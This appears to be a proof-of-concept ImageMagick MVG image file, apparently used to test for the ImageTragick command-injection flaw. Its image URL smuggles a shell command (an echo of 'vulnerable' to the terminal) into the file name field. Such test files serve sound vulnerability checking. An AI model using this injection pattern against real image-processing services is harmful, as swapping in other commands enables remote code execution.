push graphic-context
encoding "UTF-8"
viewbox 0 0 1 1
affine 1 0 0 1 0 0
image Over 0,0 1,1 'https://localhost";echo vulnerable > /dev/tty"'
pop graphic-context